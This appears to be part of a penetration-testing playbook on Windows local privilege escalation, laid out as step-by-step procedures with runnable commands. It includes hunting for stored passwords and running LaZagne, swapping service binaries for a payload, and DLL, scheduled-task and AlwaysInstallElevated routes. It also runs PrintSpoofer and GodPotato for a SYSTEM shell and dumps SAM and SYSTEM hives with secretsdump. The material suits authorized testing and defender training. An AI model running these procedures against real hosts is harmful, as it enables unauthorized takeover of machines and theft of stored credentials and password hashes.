5.2 Escalate privileges on Windows

Requires: A functioning command channel and the actual effective token/process context

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify represented user/SID, enabled group/privilege state and actual privileged operation.

Failure/next check: A prompt title or account name is insufficient. WMIC may be absent; use the documented CIM/PowerShell alternatives.

Requires: Correct trustee/token, object type and effective rights including parents and deny entries

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Name the exact allowed operation on the exact object and independently check a privileged consumer/trigger.

Failure/next check: Generic write labels can refer to another object or an inactive group. Resolve actual effective rights before modifying anything.

Requires: Artifact read permission and exact protecting identity/context for saved or DPAPI material

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Tie each value to a source/account/service and verify any new token with whoami /all.

Failure/next check: Protected blobs, stale history and saved credentials for a different target require their own keys/context or a different route.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul

Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.

5.2.7.6.1.1.4 Browser-store leads for the current user

REM Browser-store leads for the current user
laZagne.exe browsers

5.2.7.6.1.1.5 Broader recovery, with a local text report

REM Broader recovery, with a local text report
laZagne.exe all -oN

LaZagne upstream.

Blocks: 9. Operational procedure | Operational procedure | Quick sheet

5.2.8.1 Purpose and result

Verified execution under the configured service identity.

5.2.8.2 Recognition clues

Effective SERVICE_CHANGE_CONFIG on a higher-privileged service.

5.2.8.2.1 Find the clue from your starting access

Where to investigate: Inventory service accounts/paths, select a higher-identity service and query its effective service-object rights with the current token.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
sc.exe qc SERVICE
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SERVICE_START_NAME: LocalSystem
Effective service rights:
  SERVICE_CHANGE_CONFIG
  SERVICE_START

Recognize this detail: Configuration-change and start rights on the same higher-identity service are promising; file ACLs alone would not prove them.

Still missing before method selection: Use sc qc to read the service account and command, sc sdshow/AccessChk to verify configuration rights and sc query to inspect state. Confirm an allowed start/restart trigger before changing the service, then verify whoami.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.8.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Configuration-change right, accessible compatible payload path and a separate start/restart trigger.

5.2.8.4 Discover and verify prerequisites

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Windows\Temp"

5.2.8.5 Why it works

Service configuration and service start/stop are separate permissions. An ordinary program can execute and still return service error 1053 because it does not implement the service protocol.

5.2.8.6 Execute and choose variants

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

Preserve BINARY_PATH_NAME, account and start mode first:

sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

Restore:

sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

5.2.8.7 Worked example — hypothetical

Observation: configuration changes are permitted but stop/start is denied. Test: inspect the actual service schedule/recovery trigger. Illustrative output: no usable trigger is available. Interpretation: record the control and missing condition, then prioritize another path.

5.2.8.8 Verify the result

Verify the payload's effect and service execution identity, then restore the saved configuration.

5.2.8.9 Failure and fallback

Access denied on config is different from trigger denial or an incompatible binary. Preserve original binPath and use sc.exe explicitly in PowerShell.

5.2.8.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.9.1 Purpose and result

Verified execution of the replacement under the service identity.

5.2.9.2 Recognition clues

A privileged service consumes a file whose bytes or parent replacement are controllable.

5.2.9.2.1 Find the clue from your starting access

Where to investigate: From service inventory follow the exact executable/script path and inspect both its own ACL and its parent's replacement rights.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SERVICE_START_NAME: LocalSystem
BINARY_PATH_NAME: C:\APP\service.exe
C:\APP: DOMAIN\GROUP:(M)

Recognize this detail: A higher-identity service consumes a potentially replaceable file in a modifiable directory.

Still missing before method selection: Use sc qc to locate the real binary and account, then icacls on that file and its parent. Confirm replacement rights and an available privileged service start/restart; a writable unrelated file is insufficient.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.9.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger.

5.2.9.4 Discover and verify prerequisites

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

5.2.9.5 Why it works

Filesystem control can redirect service execution without permission to change the service object. The actual consumed path and service account must be confirmed.

5.2.9.6 Execute and choose variants

sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

5.2.9.7 Worked example — hypothetical

Observation: a LocalSystem service binary is replaceable. Test: preserve it, verify the restart right and trigger the documented replacement. Illustrative output: the controlled effect runs as SYSTEM. Interpretation: verify the token and restore the original artifact.

5.2.9.8 Verify the result

Prove actual selected file, trigger and resulting token; retain the recovery copy privately.

5.2.9.9 Failure and fallback

File locking, read-only paths, wrong architecture or unavailable restart can block this specific route.

5.2.9.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.10.1 Purpose and result

Verified execution of the earlier executable candidate.

5.2.10.2 Recognition clues

A service command line contains unquoted spaces.

5.2.10.2.1 Find the clue from your starting access

Where to investigate: List service command lines and accounts, then inspect every earlier executable prefix in the actual unquoted path.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

StartName: LocalSystem
PathName: C:\Program Files\Vendor App\service.exe -d
Quotes around executable: absent

Recognize this detail: Spaces plus absent executable quoting create candidate earlier prefixes; writable placement and trigger remain unproved.

Still missing before method selection: Read the unquoted service command with sc qc. Check each earlier executable prefix for write/create access with icacls; confirm the service account and restart trigger. Spaces alone do not make the path exploitable.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.10.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists.

5.2.10.4 Discover and verify prerequisites

Get-CimInstance Win32_Service | Select-Object Name,StartName,PathName

5.2.10.5 Why it works

Windows executable-path parsing may try earlier space-separated prefixes. Spaces alone do not create control; each attempted prefix and its creation rights matter.

5.2.10.6 Execute and choose variants

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select-Object Name,StartName,State,StartMode,PathName

For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

5.2.10.7 Worked example — hypothetical

Observation: a service uses an unquoted Program Files path. Test: inspect each attempted prefix and its directory ACL. Illustrative output: all earlier prefixes are protected. Interpretation: this is not an exploitable path under the current identity.

5.2.10.8 Verify the result

Confirm the earlier prefix is actually selected after the trigger and verify its resulting token.

5.2.10.9 Failure and fallback

A quoted path, existing protected earlier file, unwritable directory or absent trigger defeats the chain.

5.2.10.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.11.1 Purpose and result

Verified privileged consumption of the chosen dependency.

5.2.11.2 Recognition clues

A privileged application searches for a missing dependency or consumes writable configuration.

5.2.11.2.1 Find the clue from your starting access

Where to investigate: Investigate a privileged application with observed dependency failures; if permitted, filter its runtime file loads in Procmon before checking candidate directory ACLs.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Procmon, when accessible: filter the actual process; inspect requested .dll paths and NAME NOT FOUND results.
Record the exact requested filename and every searched location.
Then inspect the selected location's effective ACL with the owning procedure.

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

PROCESS CreateFile C:\SEARCH_PATH\missing.dll NAME NOT FOUND
Privilege and selected search order: not yet verified

Recognize this detail: An actual requested missing dependency is stronger than guessing a DLL name, but does not prove an attacker-controlled resolution wins.

Still missing before method selection: Validate real privilege, search precedence/KnownDLLs/manifests, directory control, ABI/exports and a load trigger.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.11.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger.

5.2.11.4 Discover and verify prerequisites

icacls "C:\Path\To\Application"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"

5.2.11.5 Why it works

DLL loading can involve KnownDLLs, manifests, redirection, packages and explicit search flags before ordinary directories. A missing DLL name or writable directory alone does not establish selection.

5.2.11.6 Execute and choose variants

Confirm:

1. exact DLL/helper/config name and architecture;
2. privileged process actually requests it;
3. selected attacker-writable location precedes the legitimate resolution;
4. payload preserves required exports/behavior where necessary;
5. reliable trigger exists.

icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

5.2.11.7 Worked example — hypothetical

Observation: runtime evidence shows a privileged process requests a missing DLL. Test: verify the effective search order and writable candidate location. Illustrative output: a trusted manifest redirects the load elsewhere. Interpretation: reject that candidate and inspect another dependency.

5.2.11.8 Verify the result

Verify the actual loaded path and privileged effect; a file placed on disk is not a completed chain.

5.2.11.9 Failure and fallback

Wrong ABI/exports, earlier trusted resolution or no load trigger blocks the method.

5.2.11.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.12.1 Purpose and result

Verified privileged task or startup execution.

5.2.12.2 Recognition clues

A task/startup action consumes a writable command, file, directory or registry value.

5.2.12.2.1 Find the clue from your starting access

Where to investigate: Enumerate task definitions and inspect the action, principal, arguments and working directory before permission-checking its files.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Principal: SYSTEM
Action: powershell.exe -File C:\APP\job.ps1
Trigger: scheduled
File control: inspect separately

Recognize this detail: A named privileged task exposes a concrete consumer and action path to investigate.

Still missing before method selection: Read the task's exact action, principal and trigger with schtasks or Get-ScheduledTask. Check icacls on its file/parents and prove the stronger identity will consume the controlled path at a reachable trigger.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.12.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Effective object control, a higher principal and a usable scheduled/logon/manual trigger.

5.2.12.4 Discover and verify prerequisites

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

5.2.12.5 Why it works

RunLevel Highest selects the configured principal's highest available token; it does not mean SYSTEM. A writable user startup entry usually runs as that user.

5.2.12.6 Execute and choose variants

5.2.12.6.1.1 Find privileged tasks or startup consumers you can influence Scheduled tasks

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml

Get-ScheduledTask | ForEach-Object {
  $t = $_
  [pscustomobject]@{
    TaskPath=$t.TaskPath; TaskName=$t.TaskName
    UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
  }
}

icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

5.2.12.7 Worked example — hypothetical

Observation: a writable script is named in a scheduled task. Test: inspect principal, arguments, working directory and trigger. Illustrative output: the task runs as the same low user. Interpretation: it is not a local privilege escalation under that configuration.

5.2.12.8 Verify the result

Check the actual effect and token after the trigger; task-run acceptance alone is insufficient.

5.2.12.9 Failure and fallback

Wrong principal, stale action, denied trigger or a different working directory can invalidate the candidate.

5.2.12.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.13.1 Purpose and result

A verified installer-policy execution route or a precise token-boundary assessment.

5.2.13.2 Recognition clues

Installer policy values or an administrator account with a filtered token.

5.2.13.2.1 Find the clue from your starting access

Where to investigate: Inspect both machine/user installer-policy values and the current token before inferring an elevated MSI or UAC-context route.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

HKLM AlwaysInstallElevated REG_DWORD 0x1
HKCU AlwaysInstallElevated: value not found

Recognize this detail: One policy value is insufficient; the two-policy conjunction is the key recognition condition.

Still missing before method selection: For installer execution verify both applicable values and permitted MSI/runtime; assess UAC administrator/token prerequisites separately.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.13.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context.

5.2.13.4 Discover and verify prerequisites

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all

5.2.13.5 Why it works

Both installer policies must enable the feature. UAC elevation and standard-user-to-administrator escalation have different prerequisites; a token/consent mechanism is not a universal boundary bypass.

5.2.13.6 Execute and choose variants

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be 0x1:

msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

5.2.13.7 Worked example — hypothetical

Observation: only the machine installer value is enabled. Test: check the user policy and actual token. Illustrative output: user policy is absent. Interpretation: the elevated-installer route is not enabled; investigate another privileged consumer.

5.2.13.8 Verify the result

Verify both relevant conditions and actual resulting token; keep UAC-context claims narrower than full privilege escalation.

5.2.13.9 Failure and fallback

One policy value, blocked MSI execution or an incompatible protected token defeats the assumed route.

5.2.13.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.14.1 Purpose and result

A verified token-backed identity or privileged-object operation.

5.2.14.2 Recognition clues

whoami /priv exposes a relevant token privilege.

5.2.14.2.1 Find the clue from your starting access

Where to investigate: Inspect the current token's privileges, then map a relevant privilege to an actual protected operation and available source/trigger.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

whoami /priv
whoami /all

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SeImpersonatePrivilege   Impersonate a client after authentication   Enabled

Recognize this detail: An impersonation capability is present; the privileged authentication source required by a specific tool is not established.

Still missing before method selection: Read whoami /priv and whoami /all. Match the exact privilege, enabled state and token context to the technique's required API/trigger, then verify the resulting identity; the privilege name alone is not SYSTEM.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.14.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context.

5.2.14.4 Discover and verify prerequisites

whoami /priv
whoami /all

5.2.14.5 Why it works

SeImpersonate, backup/restore, debug, ownership and driver privileges enable different operations. A privilege name does not guarantee a particular exploit tool or a privileged token source.

5.2.14.6 Execute and choose variants

whoami /priv

PrintSpoofer64.exe -i -c "cmd.exe"

GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive

impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

5.2.14.7 Worked example — hypothetical

Observation: SeImpersonatePrivilege is present. Test: match a documented tool's service/build/trigger requirements to the host. Illustrative output: the required privileged authentication source is unavailable. Interpretation: reject that tool's route while retaining the privilege observation.

5.2.14.8 Verify the result

Verify the resulting token or concrete protected-object operation, not the tool's success text.

5.2.14.9 Failure and fallback

Missing token source, filtered token, protected process or driver-signing/build differences change the route; inspect the specific prerequisite.

5.2.14.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.15.1 Purpose and result

Matched credential material suitable for offline parsing.

5.2.15.2 Recognition clues

A token has the relevant backup rights and protected registry/files are a useful credential source.

5.2.15.2.1 Find the clue from your starting access

Where to investigate: Inspect the actual token for backup-related rights and distinguish a privilege-aware read API from an ordinary file copy.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

whoami /priv

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SeBackupPrivilege   Back up files and directories   Disabled

Recognize this detail: The privilege is assigned but initially disabled; permitted software may enable it for backup-semantic reads.

Still missing before method selection: Check that the privilege can actually be used, supporting API/context, complete matched source set and writable output.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.15.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination.

5.2.15.4 Discover and verify prerequisites

whoami /priv
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

5.2.15.5 Why it works

Backup-mode read access can bypass ordinary read ACLs through supporting APIs; it does not grant arbitrary execution. Matched registry hives supply the key material required for credential parsing.

5.2.15.6 Execute and choose variants

reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive

impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

5.2.15.7 Worked example — hypothetical

Observation: a backup-capable account cannot directly read a protected file. Test: use the documented privilege-aware hive-save route. Illustrative output: matched SAM/SYSTEM files are obtained. Interpretation: parse offline and classify the resulting local hashes.

5.2.15.8 Verify the result

Verify complete matched source artifacts and exact account mapping after parsing.

5.2.15.9 Failure and fallback

Ordinary file-copy denial does not disprove backup semantics; missing required hives or protection can still prevent useful extraction.

5.2.15.10 Continue from the interpreted result

Blocks: 9. Operational procedure | Quick sheet

5.2.16.1 Purpose and result

A justified local exploit and independently verified higher-privilege result.

5.2.16.2 Recognition clues

An exact vulnerable local component is present after simpler paths are assessed.

5.2.16.2.1 Find the clue from your starting access

Where to investigate: Collect OS build/patch and relevant installed driver/application versions before comparing any local-exploit requirement.

Discovery action — reference example:

Access/context: A verified Windows foothold with a known token, integrity level and groups

Get-ComputerInfo | Select-Object OsBuildNumber,OsArchitecture
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

OS build: BUILD
Driver: DRIVER_NAME at DRIVER_PATH
Affected driver version: not yet established

Recognize this detail: The exact component/build is the candidate evidence; an OS-family name or one missing KB is insufficient.

Still missing before method selection: Verify vendor patch state, required driver/service/feature, architecture and PoC assumptions.

If you do not yet have this clue: start with Establish Windows token, host and process context.

5.2.16.3 Prerequisites

Starting access: A verified Windows foothold with a known token, integrity level and groups. Required conditions: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions.

5.2.16.4 Discover and verify prerequisites

Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName

5.2.16.5 Why it works

OS family names and missing-update lists are candidate evidence. Vendor patch state, driver version and mitigations determine applicability.

5.2.16.6 Execute and choose variants

Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation

systeminfo
driverquery /v

5.2.16.7 Worked example — hypothetical

Observation: an enumerator names a driver exploit. Test: inspect the installed driver version and exploit requirements. Illustrative output: the required driver is absent. Interpretation: reject the route and return to permission/application evidence.

5.2.16.8 Verify the result

Verify target hostname and resulting effective token; preserve reviewed PoC modifications privately.

5.2.16.9 Failure and fallback

A crash or compilation success does not prove escalation. Wrong build, missing driver or mitigations require another supported path.

5.2.16.10 Continue from the interpreted result

Requires: Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding

Failure/next check: Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding